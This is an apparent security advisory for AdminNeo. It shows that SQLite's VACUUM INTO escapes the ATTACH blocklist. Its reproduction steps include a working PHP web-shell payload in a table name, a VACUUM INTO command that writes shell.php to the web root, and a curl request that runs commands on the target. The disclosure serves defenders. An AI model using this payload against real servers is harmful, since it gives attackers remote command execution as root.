AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

Summary

Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: GHSA-q4f2-39gr-45jh

Root Cause

sql.inc.php, line 146:

if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // blocked
}

Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

Steps To Reproduce

1. Login to SQLite

1. Open AdminNeo and select driver: SQLite
2. Login and create a new database (e.g., stage.db)

2. Inject PHP code and write the shell

Navigate to SQL command and execute:

CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.

3. Execute commands

curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!